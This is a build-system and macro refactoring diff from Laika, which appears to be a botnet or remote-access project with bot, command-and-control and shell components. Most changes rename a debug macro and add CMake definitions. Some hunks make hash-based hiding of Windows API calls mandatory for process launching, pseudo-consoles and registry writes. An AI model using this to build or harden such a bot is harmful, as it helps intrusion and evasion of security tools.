CMakeLists.txt

@@ -89,9 +89,9 @@ add_subdirectory(tools/vmboxgen)
 # compile laikalib, tools, cnc & bot
 add_subdirectory(lib)
 add_subdirectory(tools)
-add_subdirectory(bot)
 
 # these subprojects don't support windows (sorry)
+add_subdirectory(bot) # windows support Soon:tm:
 if(NOT WIN32 AND (UNIX AND NOT APPLE))
   add_subdirectory(cnc)
   add_subdirectory(shell)

bot/CMakeLists.txt

@@ -30,6 +30,9 @@ if(LAIKA_OBFUSCATE)
     add_dependencies(LaikaBot VMBoxGen)
 endif ()
 
+# add the 'DEBUG' preprocessor definition if we're compiling as Debug
+target_compile_definitions(LaikaBot PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
+
 # add include directory
 target_include_directories(LaikaBot PUBLIC ${BOT_INCLUDEDIR})
 

bot/src/main.c

@@ -10,7 +10,7 @@
 #include <stdio.h>
 
 #ifdef _WIN32
-#    ifndef LAIKA_DEBUG_BUILD
+#    ifndef DEBUG
 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow)
 {
 #    else

cnc/CMakeLists.txt

@@ -13,5 +13,8 @@ file(GLOB_RECURSE CNCHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h)
 add_executable(LaikaCNC ${CNCSOURCE} ${CNCHEADERS})
 target_link_libraries(LaikaCNC PUBLIC LaikaLib)
 
+# add the 'DEBUG' preprocessor definition if we're compiling as Debug
+target_compile_definitions(LaikaCNC PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
+
 # add include directory
 target_include_directories(LaikaCNC PUBLIC ${CNC_INCLUDEDIR})

lib/CMakeLists.txt

@@ -24,8 +24,8 @@ target_link_libraries(LaikaLib PUBLIC sodium)
 # make sure we're compiled *AFTER* lboxconfig.h has been generated
 add_dependencies(LaikaLib VMBoxGen)
 
-# add the version definitions
+# add the version definitions and the 'DEBUG' preprocessor definition if we're compiling as Debug
-target_compile_definitions(LaikaLib PUBLIC)
+target_compile_definitions(LaikaLib PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
 
 # add include directory
 target_include_directories(LaikaLib PUBLIC ${LIB_INCLUDEDIR} ${CMAKE_CURRENT_SOURCE_DIR}/libsodium/libsodium/src/libsodium/include)

lib/include/core/lerror.h

@@ -24,10 +24,10 @@
 
 /* LAIKA_ERROR(printf args):
         if called after a LAIKA_TRY block will jump to the previous LAIKA_CATCH/LAIKA_TRYEND block,
-    otherwise program is exit()'d. if LAIKA_DEBUG_BUILD is defined printf is called with passed args, else
+    otherwise program is exit()'d. if DEBUG is defined printf is called with passed args, else
     arguments are ignored.
 */
-#ifndef LAIKA_DEBUG_BUILD
+#ifndef DEBUG
 #    define LAIKA_ERROR(...)                                                                       \
         do {                                                                                       \
             if (LAIKA_ISPROTECTED)                                                                 \

lib/include/core/lsodium.h

@@ -1,7 +1,6 @@
 #ifndef LAIKA_RSA_H
 #define LAIKA_RSA_H
 
-#include "lconfig.h"
 #include "sodium.h"
 
 #include <stdbool.h>

lib/include/core/lvm.h

@@ -76,7 +76,7 @@ enum
     OP_TESTJMP, /* if stk_indx[uint8_t] != 0, pc += [int8_t] */
 
     /* misc. */
-#ifdef LAIKA_DEBUG_BUILD
+#ifdef DEBUG
     OP_DEBUG
 #endif
 };
@@ -154,7 +154,7 @@ LAIKA_FORCEINLINE void laikaV_execute(struct sLaikaV_vm *vm)
 
             break;
         }
-#ifdef LAIKA_DEBUG_BUILD
+#ifdef DEBUG
         case OP_DEBUG: {
             int i;
 

lib/include/laika.h

@@ -11,7 +11,7 @@
 #include <string.h>
 #include <inttypes.h>
 
-#ifdef LAIKA_DEBUG_BUILD
+#ifdef DEBUG
 #    define LAIKA_DEBUG(...)                                                                       \
         printf("[~] " __VA_ARGS__);                                                                \
         fflush(stdout);

lib/include/lconfig.h.in

@@ -15,7 +15,6 @@
 /* settings */
 #cmakedefine LAIKA_PERSISTENCE
 #cmakedefine LAIKA_OBFUSCATE
-#cmakedefine LAIKA_DEBUG_BUILD
 
 /* raw obfuscated strings */
 

lib/include/lobf.h

@@ -7,7 +7,6 @@
 #    include <process.h>
 #    include <windows.h>
 
-#ifdef LAIKA_OBFUSCATE
 /* WINAPI types */
 typedef HINSTANCE(WINAPI *_ShellExecuteA)(HWND, LPCSTR, LPCSTR, LPCSTR, LPCSTR, INT);
 typedef HRESULT(WINAPI *_CreatePseudoConsole)(COORD, HANDLE, HANDLE, DWORD, HPCON *);
@@ -26,19 +25,6 @@ extern _RegOpenKeyExA oRegOpenKeyExA;
 extern _RegCloseKey oRegCloseKey;
 extern _RegSetValueExA oRegSetValueExA;
 extern _RegQueryValueExA oRegQueryValueExA;
-#else
-
-/* disabling obfuscation by macro magic :O */
-#define oShellExecuteA ShellExecuteA
-#define oCreatePseudoConsole CreatePseudoConsole
-#define oClosePseudoConsole ClosePseudoConsole
-#define oCreateProcessA CreateProcessA
-#define oRegOpenKeyExA RegOpenKeyExA
-#define oRegCloseKey RegCloseKey
-#define oRegSetValueExA RegSetValueExA
-#define oRegQueryValueExA RegQueryValueExA
-
-#endif
 #endif
 
 void laikaO_init();

lib/include/net/lpacket.h

@@ -1,7 +1,6 @@
 #ifndef LAIKA_PACKET_H
 #define LAIKA_PACKET_H
 
-#include "lconfig.h"
 #include <inttypes.h>
 
 #define LAIKA_MAGIC                 "LAI\x12"
@@ -122,7 +121,7 @@ enum
 typedef uint8_t LAIKAPKT_ID;
 typedef uint16_t LAIKAPKT_SIZE;
 
-#ifdef LAIKA_DEBUG_BUILD
+#ifdef DEBUG
 const char *laikaD_getPacketName(LAIKAPKT_ID);
 #endif
 

lib/src/net/lpacket.c

@@ -1,6 +1,6 @@
 #include "net/lpacket.h"
 
-#ifdef LAIKA_DEBUG_BUILD
+#ifdef DEBUG
 const char *laikaD_getPacketName(LAIKAPKT_ID id)
 {
     const char *PKTNAMES[] = {"LAIKAPKT_VARPKT",

lib/win/winobf.c

@@ -137,7 +137,6 @@ _findByHashFail:
 
 /* ======================================[[ Exposed API ]]====================================== */
 
-#ifdef LAIKA_OBFUSCATE
 _ShellExecuteA oShellExecuteA;
 _CreatePseudoConsole oCreatePseudoConsole;
 _ClosePseudoConsole oClosePseudoConsole;
@@ -164,10 +163,4 @@ void laikaO_init()
     oRegCloseKey = (_RegCloseKey)(findByHash("advapi32.dll", 0xae0cf309));
     oRegSetValueExA = (_RegSetValueExA)(findByHash("advapi32.dll", 0xcb91dcf7));
     oRegQueryValueExA = (_RegQueryValueExA)(findByHash("advapi32.dll", 0x4298d735));
-}
+}
-#else
-void laikaO_init()
-{
-    /* stubbed!! */
-}
-#endif

shell/CMakeLists.txt

@@ -13,5 +13,8 @@ file(GLOB_RECURSE SHELLHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h)
 add_executable(LaikaShell ${SHELLSOURCE} ${SHELLHEADERS})
 target_link_libraries(LaikaShell PUBLIC LaikaLib)
 
+# add the 'DEBUG' preprocessor definition if we're compiling as Debug
+target_compile_definitions(LaikaShell PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
+
 # add include directory
 target_include_directories(LaikaShell PUBLIC ${SHELL_INCLUDEDIR})

tools/genkey/CMakeLists.txt

@@ -9,3 +9,6 @@ set_property(GLOBAL PROPERTY USE_FOLDERS ON)
 file(GLOB_RECURSE GENKEYSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
 add_executable(genKey ${GENKEYSOURCE})
 target_link_libraries(genKey PUBLIC LaikaLib)
+
+# add the 'DEBUG' preprocessor definition if we're compiling as Debug
+target_compile_definitions(genKey PUBLIC "$<$<CONFIG:Debug>:DEBUG>")

tools/vmboxgen/CMakeLists.txt

@@ -10,6 +10,9 @@ file(GLOB_RECURSE VMTESTSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
 add_executable(VMBoxGen ${VMTESTSOURCE})
 target_link_libraries(VMBoxGen PUBLIC)
 
+# add the 'DEBUG' preprocessor definition if we're compiling as Debug
+target_compile_definitions(VMBoxGen PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
+
 # generate the VMBOXCONFIG file
 if(LAIKA_OBFUSCATE)
     add_custom_command(TARGET VMBoxGen POST_BUILD

tools/vmtest/CMakeLists.txt

@@ -10,3 +10,5 @@ file(GLOB_RECURSE VMTESTSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
 add_executable(vmTest ${VMTESTSOURCE})
 target_link_libraries(vmTest PUBLIC LaikaLib)
 
+# add the 'DEBUG' preprocessor definition if we're compiling as Debug
+target_compile_definitions(vmTest PUBLIC "$<$<CONFIG:Debug>:DEBUG>")